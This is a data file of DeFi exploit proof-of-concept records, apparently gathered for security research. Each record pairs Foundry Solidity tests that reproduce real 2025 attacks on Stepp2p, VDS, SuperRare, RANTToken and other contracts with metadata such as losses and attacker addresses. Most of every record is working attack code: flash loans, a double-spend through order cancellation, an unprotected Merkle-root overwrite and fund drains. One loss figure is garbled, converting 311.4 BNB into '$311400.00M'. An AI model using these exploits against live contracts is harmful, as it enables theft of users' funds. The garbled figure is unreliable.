"postmortem_url": "https://t.me/evmhacks/78?single", "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "101k USD", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n // The exploit begins by taking a large flash loan from a PancakeSwap V3 pool.\n IPancakeV3Pool(pancakeV3Pool).flash(address(this), borrowAmount, 0, \"\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "101k USD", "keyinfo_attacker": "https://bscscan.com/address/0x7e7c1f0d567c0483f85e1d016718e44414cdbafe", "keyinfo_attack_contract": "https://bscscan.com/address/0x7e7c1f0d567c0483f85e1d016718e44414cdbafe", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xaf68efb3c1e81aad5cdb3d4962c8815fb754c688", "keyinfo_attack_tx": "https://bscscan.com/tx/0x2b6b411adf6c452825e48b97857375ff82b9487064b2f3d5bc2ca7a5ed08d615", "analysis_postmortem": "https://t.me/evmhacks/78?single", "analysis_twitter": "", "funds_lost_formatted": "$101.0K", "content_richness_score": 8.02, "quality_estimate": "high", "title": "WETC_Token Exploit (2025-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 43k USD\n// Attacker : https://bscscan.com/address/0xd7235d08a48cbd3f63b9faa16130f2fdb50b2341\n// Attack Contract : https://bscscan.com/address/0x399eff46b7d458575ebbbb572098e62e38f3c993\n// Vulnerable Contract : https://bscscan.com/address/0x99855380e5f48db0a6babeae312b80885a816dce\n// Attack Tx : https://bscscan.com/tx/0xe94752783519da14315d47cde34da55496c39546813ef4624c94825e2d69c6a8\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x99855380e5f48db0a6babeae312b80885a816dce#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/TenArmorAlert/status/1946887946877149520\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\naddress constant PANCAKE_V3_USDC_USDT = 0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb;\naddress constant STEPP2P = 0x99855380E5f48Db0a6BABeAe312B80885a816DCe;\naddress constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;\n\ncontract Stepp2p is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 54653987 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = BSC_USD;\n }\n\n function testExploit() public balanceLog {\n //implement exploit code here\n bytes memory data = \"0x623269464a7178\";\n IPancakeV3PoolActions(PANCAKE_V3_USDC_USDT).flash(address(this), 50_000 ether, 0, data);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {\n uint256 amount = IERC20(BSC_USD).balanceOf(STEPP2P);\n\n IERC20(BSC_USD).approve(STEPP2P, amount);\n uint256 saleId = IStepp2p(STEPP2P).createSaleOrder(amount);\n // cancelSaleOrder + modifySaleOrder on same saleId both transfer funds \u2014 results in double spend.\n IStepp2p(STEPP2P).cancelSaleOrder(saleId);\n IStepp2p(STEPP2P).modifySaleOrder(saleId, amount, false);\n\n IERC20(BSC_USD).transfer(PANCAKE_V3_USDC_USDT, 50_000 ether + fee0);\n }\n}\n\ninterface IStepp2p {\n function createSaleOrder(uint256 _amount) external returns (uint256);\n function cancelSaleOrder(uint256 _saleId) external;\n function modifySaleOrder(uint256 _saleId, uint256 _modifyAmount, bool isPostive) external;\n}\n", "type": "exploit_poc", "protocol": "Stepp2p", "date": "2025-07", "file_name": "Stepp2p_exp.sol", "attack_vector": null, "content_hash": "06b0923499592d03", "collected_at": "2026-01-07T10:59:16.541685", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "43k USD", "total_lost_usd": 43000.0, "attacker_address": "https://bscscan.com/address/0xd7235d08a48cbd3f63b9faa16130f2fdb50b2341", "attack_contract": "https://bscscan.com/address/0x399eff46b7d458575ebbbb572098e62e38f3c993", "vulnerable_contract": "https://bscscan.com/address/0x99855380e5f48db0a6babeae312b80885a816dce", "attack_tx": "https://bscscan.com/tx/0xe94752783519da14315d47cde34da55496c39546813ef4624c94825e2d69c6a8", "postmortem_url": null, "twitter_url": "https://x.com/TenArmorAlert/status/1946887946877149520", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "43k USD", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n //implement exploit code here\n bytes memory data = \"0x623269464a7178\";\n IPancakeV3PoolActions(PANCAKE_V3_USDC_USDT).flash(address(this), 50_000 ether, 0, data);\n }", "has_exploit_code": true, "keyinfo_total_lost": "43k USD", "keyinfo_attacker": "https://bscscan.com/address/0xd7235d08a48cbd3f63b9faa16130f2fdb50b2341", "keyinfo_attack_contract": "https://bscscan.com/address/0x399eff46b7d458575ebbbb572098e62e38f3c993", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x99855380e5f48db0a6babeae312b80885a816dce", "keyinfo_attack_tx": "https://bscscan.com/tx/0xe94752783519da14315d47cde34da55496c39546813ef4624c94825e2d69c6a8", "analysis_postmortem": "", "analysis_twitter": "https://x.com/TenArmorAlert/status/1946887946877149520", "funds_lost_formatted": "$43.0K", "content_richness_score": 7.23, "quality_estimate": "medium", "title": "Stepp2p Exploit (2025-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 13k USD\n// Attacker : https://bscscan.com/address/0xa3e18e6028b1ca09433157cd6a5e807ffe705350\n// Attack Contract : https://bscscan.com/address/0x383794a0c68e5c8c050f8f361b26a22b3f60eccf\n// Vulnerable Contract : https://bscscan.com/address/0x6ce69d7146dbaae18c11c36d8d94428623b29d5a\n// Attack Tx : https://bscscan.com/tx/0x0e01fd8798f970fd689014cb215e622aca8b7c8c243176c5b504e0043402e31f\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x6ce69d7146dbaae18c11c36d8d94428623b29d5a#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/SlowMist_Team/status/1945672192471302645\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\naddress constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;\naddress constant MOOLAH = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;\naddress constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\naddress constant AVD_TOKEN = 0x4Ec93ee81f25dA3C8e49F01533cfB734545190A8;\naddress constant VDS_TOKEN = 0x6ce69d7146dbaae18c11c36d8D94428623B29D5A;\n\ncontract VDS is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 54252254 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n fundingToken = BSC_USD;\n }\n\n function testExploit() public balanceLog {\n // Step 1: Flash loan 20k BSC_USD from Moolah\n IERC20(BSC_USD).approve(MOOLAH, type(uint256).max);\n IMoolah(MOOLAH).flashLoan(BSC_USD, 20_000 ether, \"\");\n }\n \n function onMoolahFlashLoan(uint256 assets, bytes calldata userData) public {\n IERC20 bscUsd = IERC20(BSC_USD);\n IERC20 avd = IERC20(AVD_TOKEN);\n IERC20 vds = IERC20(VDS_TOKEN);\n\n IPancakeRouter router = IPancakeRouter(payable(PANCAKE_ROUTER));\n \n bscUsd.approve(PANCAKE_ROUTER, 20_000 ether);\n address[] memory path = new address[](2);\n path[0] = BSC_USD;\n path[1] = AVD_TOKEN;\n // Step 2: BSC_USD -> AVD via PancakeSwap\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(assets, 0, path, address(this), block.timestamp);\n\n uint256 avdBalance = avd.balanceOf(address(this));\n avd.approve(VDS_TOKEN, avdBalance);\n\n // Step 3: deposit AVD for VDS\n IVDS(VDS_TOKEN).deposit(VDS_TOKEN, avdBalance);\n\n // Step 4: Burn VDS to get AVD back\n // Root cause: Sending VDS to its contract address returns AVD at a 1:1 ratio\n uint256 amount = 168205391822;\n vds.transfer(VDS_TOKEN, amount);\n\n avdBalance = avd.balanceOf(address(this));\n avd.approve(PANCAKE_ROUTER, avdBalance);\n path[0] = AVD_TOKEN;\n path[1] = BSC_USD;\n // Step 5: AVD -> BSC_USD via PancakeSwap\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(avdBalance, 0, path, address(this), block.timestamp);\n }\n}\n\ninterface IMoolah {\n function flashLoan(address token, uint256 assets, bytes calldata data) external;\n}\n\ninterface IVDS {\n function deposit(address token, uint256 amount) external;\n}", "type": "exploit_poc", "protocol": "VDS", "date": "2025-07", "file_name": "VDS_exp.sol", "attack_vector": "flash_loan", "content_hash": "6f816a4c12ceb88f", "collected_at": "2026-01-07T10:59:16.541730", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "13k USD", "total_lost_usd": 13000.0, "attacker_address": "https://bscscan.com/address/0xa3e18e6028b1ca09433157cd6a5e807ffe705350", "attack_contract": "https://bscscan.com/address/0x383794a0c68e5c8c050f8f361b26a22b3f60eccf", "vulnerable_contract": "https://bscscan.com/address/0x6ce69d7146dbaae18c11c36d8d94428623b29d5a", "attack_tx": "https://bscscan.com/tx/0x0e01fd8798f970fd689014cb215e622aca8b7c8c243176c5b504e0043402e31f", "postmortem_url": null, "twitter_url": "https://x.com/SlowMist_Team/status/1945672192471302645", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "13k USD", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n // Step 1: Flash loan 20k BSC_USD from Moolah\n IERC20(BSC_USD).approve(MOOLAH, type(uint256).max);\n IMoolah(MOOLAH).flashLoan(BSC_USD, 20_000 ether, \"\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "13k USD", "keyinfo_attacker": "https://bscscan.com/address/0xa3e18e6028b1ca09433157cd6a5e807ffe705350", "keyinfo_attack_contract": "https://bscscan.com/address/0x383794a0c68e5c8c050f8f361b26a22b3f60eccf", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x6ce69d7146dbaae18c11c36d8d94428623b29d5a", "keyinfo_attack_tx": "https://bscscan.com/tx/0x0e01fd8798f970fd689014cb215e622aca8b7c8c243176c5b504e0043402e31f", "analysis_postmortem": "", "analysis_twitter": "https://x.com/SlowMist_Team/status/1945672192471302645", "funds_lost_formatted": "$13.0K", "content_richness_score": 8.58, "quality_estimate": "high", "title": "VDS Exploit (2025-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 730K USD\n// Attacker : https://etherscan.io/address/0x5b9b4b4dafbcfceea7afba56958fcbb37d82d4a2\n// Attack Contract : https://etherscan.io/address/0x08947cedf35f9669012bda6fda9d03c399b017ab\n// Vulnerable Contract : https://etherscan.io/address/0xfFB512B9176D527C5D32189c3e310Ed4aB2Bb9eC\n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xd813751bfb98a51912b8394b5856ae4515be6a9c6e5583e06b41d9255ba6e3c1\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xfFB512B9176D527C5D32189c3e310Ed4aB2Bb9eC#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/SlowMist_Team/status/1949770231733530682\n// Hacking God : https://blog.solidityscan.com/superrare-hack-analysis-488d544d89e0\npragma solidity ^0.8.0;\n\naddress constant ERC1967Proxy = 0x3f4D749675B3e48bCCd932033808a7079328Eb48;\naddress constant RARE_TOKEN = 0xba5BDe662c17e2aDFF1075610382B9B691296350;\naddress constant ATTACKER = 0x5B9B4B4DaFbCfCEEa7aFbA56958fcBB37d82D4a2;\naddress constant ATTACK_CONTRACT = 0x08947cedf35f9669012bDA6FdA9d03c399B017Ab;\n\n// 1753690919\ncontract SuperRare is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 23016423 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = RARE_TOKEN;\n }\n\n function testExploit() public balanceLog {\n // deploy attack contract and etch it to ATTACK_CONTRACT address\n AttackContract acTemp = new AttackContract();\n bytes memory code = address(acTemp).code;\n vm.etch(ATTACK_CONTRACT, code);\n AttackContract ac = AttackContract(ATTACK_CONTRACT);\n\n uint256 stakingContractBalance = ac.getStakingContractBalance();\n console.log(\"stakingContractBalance\", stakingContractBalance);\n // 11907874713019104529057960\n \n uint256 tokenBalance = ac.getTokenBalance();\n console.log(\"attackContract Balance Before\", tokenBalance);\n // 0\n\n bytes32 fakeRoot = 0x93f3c0d0d71a7c606fe87524887594a106b44c65d46fa72a42d80bd6259ade7e;\n ac.attack(fakeRoot, stakingContractBalance);\n\n uint256 tokenBalanceAfter = ac.getTokenBalance();\n console.log(\"attackContract Balance After\", tokenBalanceAfter);\n // 11907874713019104529057960\n }\n}\n\ncontract AttackContract {\n function getStakingContractBalance() public view returns (uint256) {\n return IERC20(RARE_TOKEN).balanceOf(ERC1967Proxy);\n }\n function getTokenBalance() public view returns (uint256) {\n return IERC20(RARE_TOKEN).balanceOf(address(this));\n }\n function attack(bytes32 newRoot, uint256 amout) public {\n IERC1967Proxy target = IERC1967Proxy(ERC1967Proxy);\n target.updateMerkleRoot(newRoot);\n bytes32[] memory proof = new bytes32[](0);\n target.claim(amout, proof);\n }\n}\n\ninterface IERC1967Proxy {\n function updateMerkleRoot(bytes32 newRoot) external;\n function claim(uint256 amount, bytes32[] calldata proof) external;\n}\n", "type": "exploit_poc", "protocol": "SuperRare", "date": "2025-07", "file_name": "SuperRare_exp.sol", "attack_vector": null, "content_hash": "058c476f57e17172", "collected_at": "2026-01-07T10:59:16.541783", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "730K USD", "total_lost_usd": 730000.0, "attacker_address": "https://etherscan.io/address/0x5b9b4b4dafbcfceea7afba56958fcbb37d82d4a2", "attack_contract": "https://etherscan.io/address/0x08947cedf35f9669012bda6fda9d03c399b017ab", "vulnerable_contract": "https://etherscan.io/address/0xfFB512B9176D527C5D32189c3e310Ed4aB2Bb9eC", "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0xd813751bfb98a51912b8394b5856ae4515be6a9c6e5583e06b41d9255ba6e3c1", "postmortem_url": null, "twitter_url": "https://x.com/SlowMist_Team/status/1949770231733530682", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "730K USD", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n // deploy attack contract and etch it to ATTACK_CONTRACT address\n AttackContract acTemp = new AttackContract();\n bytes memory code = address(acTemp).code;\n vm.etch(ATTACK_CONTRACT, code);\n AttackContract ac = AttackContract(ATTACK_CONTRACT);\n\n uint256 stakingContractBalance = ac.getStakingContractBalance();\n console.log(\"stakingContractBalance\", stakingContractBalance);\n // 11907874713019104529057960\n \n uint256 tokenBalance = ac.getTokenBalance();\n console.log(\"attackContract Balance Before\", tokenBalance);\n // 0\n\n bytes32 fakeRoot = 0x93f3c0d0d71a7c606fe87524887594a106b44c65d46fa72a42d80bd6259ade7e;\n ac.attack(fakeRoot, stakingContractBalance);\n\n uint256 tokenBalanceAfter = ac.getTokenBalance();\n console.log(\"attackContract Balance After\", tokenBalanceAfter);\n // 11907874713019104529057960\n }\n}\n\ncontract AttackContract {", "has_exploit_code": true, "keyinfo_total_lost": "730K USD", "keyinfo_attacker": "https://etherscan.io/address/0x5b9b4b4dafbcfceea7afba56958fcbb37d82d4a2", "keyinfo_attack_contract": "https://etherscan.io/address/0x08947cedf35f9669012bda6fda9d03c399b017ab", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xfFB512B9176D527C5D32189c3e310Ed4aB2Bb9eC", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0xd813751bfb98a51912b8394b5856ae4515be6a9c6e5583e06b41d9255ba6e3c1", "analysis_postmortem": "", "analysis_twitter": "https://x.com/SlowMist_Team/status/1949770231733530682", "funds_lost_formatted": "$730.0K", "content_richness_score": 7.62, "quality_estimate": "medium", "title": "SuperRare Exploit (2025-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 285.7K USD\n// Attacker : https://etherscan.io/address/0xb750e3165de458eae09904cc7fad099632860b0f\n// Attack Contract : https://etherscan.io/address/0x1a61249f6f4f9813c55aa3b02c69438607272ed3\n// Vulnerable Contract : https://etherscan.io/address/0x54cd23460df45559fd5feeaada7ba25f89c13525\n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xa57ec56af91ec70517ca71ca50101958d9c2ec9fdb61edcf35a9081c375725c2\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x54cd23460df45559fd5feeaada7ba25f89c13525\n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1941689712621576493\n// Twitter Guy : https://x.com/TenArmorAlert/status/1941689712621576493\n// Hacking God : N/A\n\naddress constant weth9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\naddress constant UniswapV3Pool = 0x202A6012894Ae5c288eA824cbc8A9bfb26A49b93;\naddress constant ERC1967Proxy = 0x54Cd23460DF45559Fd5feEaaDA7ba25f89c13525;\naddress constant attacker = 0xb750E3165de458EaE09904cC7Fad099632860B0f;\naddress constant weETH = 0xCd5fE23C85820F7B72D0926FC9b05b43E359b7ee;\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 22855568);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n attC.attack();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\ncontract AttackerC {\n function attack() public {\n (bool s1, ) = ERC1967Proxy.call(abi.encodeWithSelector(bytes4(0x03b79c24), address(this)));\n require(s1, \"call1 failed\");\n\n (bool s2, ) = UniswapV3Pool.call(\n abi.encodeWithSelector(\n IUniswapV3Pool.swap.selector,\n address(this),\n false,\n int256(106929468097270451433),\n uint256(1461446703485210103287273052203988822378723970341),\n bytes(\"\")\n )\n );\n require(s2, \"swap failed\");\n\n IWETH9(weth9).withdraw(114534059890882021484);\n\n (bool s3, ) = attacker.call{value: address(this).balance}(\"\");\n require(s3, \"send ETH failed\");\n }\n \n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n IERC20(weETH).transfer(UniswapV3Pool, uint256(amount1Delta));\n }\n\n fallback() external payable {}\n receive() external payable {}\n}\n\ninterface IWETH9 {\n\tfunction withdraw(uint256) external; \n}\ninterface IUniswapV3Pool {\n\tfunction swap(address, bool, int256, uint160, bytes calldata) external returns (int256, int256); \n}", "type": "exploit_poc", "protocol": "unverified_54cd", "date": "2025-07", "file_name": "unverified_54cd_exp.sol", "attack_vector": null, "content_hash": "57486f61c9d67ff8", "collected_at": "2026-01-07T10:59:16.541834", "_source": "postmortems", "chain": "ethereum", "block_number": 22855568, "total_lost_raw": "285.7K USD", "total_lost_usd": 285700.0, "attacker_address": "https://etherscan.io/address/0xb750e3165de458eae09904cc7fad099632860b0f", "attack_contract": "https://etherscan.io/address/0x1a61249f6f4f9813c55aa3b02c69438607272ed3", "vulnerable_contract": "https://etherscan.io/address/0x54cd23460df45559fd5feeaada7ba25f89c13525", "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0xa57ec56af91ec70517ca71ca50101958d9c2ec9fdb61edcf35a9081c375725c2", "postmortem_url": "https://x.com/TenArmorAlert/status/1941689712621576493", "twitter_url": "https://x.com/TenArmorAlert/status/1941689712621576493", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "285.7K USD", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n attC.attack();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\ncontract AttackerC {", "has_exploit_code": true, "keyinfo_total_lost": "285.7K USD", "keyinfo_attacker": "https://etherscan.io/address/0xb750e3165de458eae09904cc7fad099632860b0f", "keyinfo_attack_contract": "https://etherscan.io/address/0x1a61249f6f4f9813c55aa3b02c69438607272ed3", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x54cd23460df45559fd5feeaada7ba25f89c13525", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0xa57ec56af91ec70517ca71ca50101958d9c2ec9fdb61edcf35a9081c375725c2", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1941689712621576493", "analysis_twitter": "https://x.com/TenArmorAlert/status/1941689712621576493", "funds_lost_formatted": "$285.7K", "content_richness_score": 7.44, "quality_estimate": "medium", "title": "unverified_54cd Exploit (2025-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~ 311.4 BNB\n// Attacker : https://bscscan.com/address/0xad2cb8f48e74065a0b884af9c5a4ecbba101be23\n// Attack Contract : https://bscscan.com/address/0x1e2d48e640243b04a9fa76eb49080e9ab110b4ac\n// Vulnerable Contract : https://bscscan.com/address/0xc321ac21a07b3d593b269acdace69c3762ca2dd0\n// Attack Tx : https://bscscan.com/tx/0x2d9c1a00cf3d2fda268d0d11794ad2956774b156355e16441d6edb9a448e5a99\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xc321ac21a07b3d593b269acdace69c3762ca2dd0#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/Phalcon_xyz/status/1941788315549946225\n// Twitter Guy : https://x.com/AgentLISA_ai/status/1942162643437203531\n// Hacking God : N/A\n\naddress constant RANT = 0xc321AC21A07B3d593B269AcdaCE69C3762CA2dd0;\naddress constant wBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\naddress constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;\naddress constant PANCAKE_V3_POOL = 0x172fcD41E0913e95784454622d1c3724f546f849;\naddress constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\naddress constant CAKE_LP = 0x42A93C3aF7Cb1BBc757dd2eC4977fd6D7916Ba1D;\naddress constant BNB_EVE = 0xD3b0d838cCCEAe7ebF1781D11D1bB741DB7Fe1A7;\n\ncontract RANTToken_exp is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 52_974_382 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n // fundingToken = BSC_USD;\n\n vm.label(RANT, \"RANT\");\n vm.label(wBNB, \"WBNB\");\n vm.label(BSC_USD, \"BSC-USD\");\n vm.label(PANCAKE_V3_POOL, \"PancakeV3Pool\");\n vm.label(PANCAKE_ROUTER, \"PancakeSwap: Router v2\");\n vm.label(CAKE_LP, \"0x42a9_Cake-LP\");\n vm.label(BNB_EVE, \"Validator : BNBEve\");\n }\n\n function testExploit() public balanceLog {\n AttackContract attackContract = new AttackContract();\n attackContract.start();\n }\n\n receive() external payable {\n // Handle the received funds\n }\n}\n\ncontract AttackContract {\n address attacker;\n uint256 borrowAmount = 2_813_769_505_544_453_342_436;\n\n constructor() {\n attacker = msg.sender;\n }\n\n function start() public {\n IPancakeV3PoolActions(PANCAKE_V3_POOL).flash(\n address(this), 0, borrowAmount, hex\"00000000000000000000000000000000000000000000009888e5694d8ba9c4e4\"\n );\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n IWBNB(payable(wBNB)).approve(PANCAKE_ROUTER, type(uint256).max);\n IPancakePair(CAKE_LP).swap(\n 0,\n 96_605_739_642_631_517_916_080_650,\n address(this),\n hex\"00000000000000000000000000000000000000000000009888e5694d8ba9c4e4\"\n );\n\n IERC20(RANT).transfer(RANT, 10_733_970_071_403_501_990_675_973);\n\n // console.log(\"Received funds in AttackContract: %s\", address(this).balance);\n IWBNB(payable(wBNB)).deposit{value: address(this).balance}();\n\n IWBNB(payable(wBNB)).transfer(PANCAKE_V3_POOL, borrowAmount + fee1);\n\n uint256 withdraw = IWBNB(payable(wBNB)).balanceOf(address(this));\n // console.log(\"Withdrawn from wBNB: %s\", withdraw);\n IWBNB(payable(wBNB)).withdraw(withdraw);\n // console.log(\"Withdrawn from wBNB: %s\", address(this).balance);\n\n //???\n (bool success,) = payable(BNB_EVE).call{value: 0.1 ether}(\"\"); // Send all BNB to the validator\n\n (bool success2,) = payable(attacker).call{value: address(this).balance}(\"\"); // Send all BNB to the attacker\n }\n\n function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {\n IWBNB(payable(wBNB)).transfer(CAKE_LP, borrowAmount);\n }\n\n receive() external payable {\n // Handle the received funds\n // console.log(\"Received funds in AttackContract: %s\", msg.value);\n }\n}\n", "type": "exploit_poc", "protocol": "RANTToken", "date": "2025-07", "file_name": "RANTToken_exp.sol", "attack_vector": null, "content_hash": "fe315683fb0fefa4", "collected_at": "2026-01-07T10:59:16.541888", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "~ 311.4 BNB", "total_lost_usd": 311400000000.0, "attacker_address": "https://bscscan.com/address/0xad2cb8f48e74065a0b884af9c5a4ecbba101be23", "attack_contract": "https://bscscan.com/address/0x1e2d48e640243b04a9fa76eb49080e9ab110b4ac", "vulnerable_contract": "https://bscscan.com/address/0xc321ac21a07b3d593b269acdace69c3762ca2dd0", "attack_tx": "https://bscscan.com/tx/0x2d9c1a00cf3d2fda268d0d11794ad2956774b156355e16441d6edb9a448e5a99", "postmortem_url": null, "twitter_url": "https://x.com/Phalcon_xyz/status/1941788315549946225", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "~ 311.4 BNB", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n AttackContract attackContract = new AttackContract();\n attackContract.start();\n }\n\n receive() external payable {\n // Handle the received funds\n }\n}\n\ncontract AttackContract {\n address attacker;\n uint256 borrowAmount = 2_813_769_505_544_453_342_436;\n\n constructor() {\n attacker = msg.sender;\n }", "has_exploit_code": true, "keyinfo_total_lost": "~ 311.4 BNB", "keyinfo_attacker": "https://bscscan.com/address/0xad2cb8f48e74065a0b884af9c5a4ecbba101be23", "keyinfo_attack_contract": "https://bscscan.com/address/0x1e2d48e640243b04a9fa76eb49080e9ab110b4ac", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xc321ac21a07b3d593b269acdace69c3762ca2dd0", "keyinfo_attack_tx": "https://bscscan.com/tx/0x2d9c1a00cf3d2fda268d0d11794ad2956774b156355e16441d6edb9a448e5a99", "analysis_postmortem": "", "analysis_twitter": "https://x.com/Phalcon_xyz/status/1941788315549946225", "funds_lost_formatted": "$311400.00M", "content_richness_score": 8.09, "quality_estimate": "high", "title": "RANTToken Exploit (2025-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"forge-std/Test.sol\";\n\n\n// @KeyInfo - Total Lost : 32,196.28 USD\n// Attacker : https://etherscan.io/address/0x657a2b6fe37ced2f31fd7513095dbfb126a53601\n// Attack Contract : https://etherscan.io/address/0x7f1f536223d6a84ad4897a675f04886ce1c3b7a1\n// Vulnerable Contract : https://etherscan.io/address/0x245a551ee0f55005e510b239c917fa34b41b3461\n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xa02b159fb438c8f0fb2a8d90bc70d8b2273d06b55920b26f637cab072b7a0e3e\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x6e90c85a495d54c6d7E1f3400FEF1f6e59f86bd6#code\n\n// @Analysis\n\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/deeberiroz/status/1947213692220710950\n// Hacking God : N/A\n\n/// Onchain exported with `Anvil`\ninterface CErc20 {\n event AccrueInterest(uint256 interestAccumulated, uint256 borrowIndex, uint256 totalBorrows);\n event Approval(address indexed owner, address indexed spender, uint256 amount);\n event Borrow(address borrower, uint256 borrowAmount, uint256 accountBorrows, uint256 totalBorrows);\n event Failure(uint256 error, uint256 info, uint256 detail);\n event LiquidateBorrow(\n address liquidator, address borrower, uint256 repayAmount, address cTokenCollateral, uint256 seizeTokens\n );\n event Mint(address minter, uint256 mintAmount, uint256 mintTokens);\n event NewAdmin(address oldAdmin, address newAdmin);\n event NewComptroller(address oldComptroller, 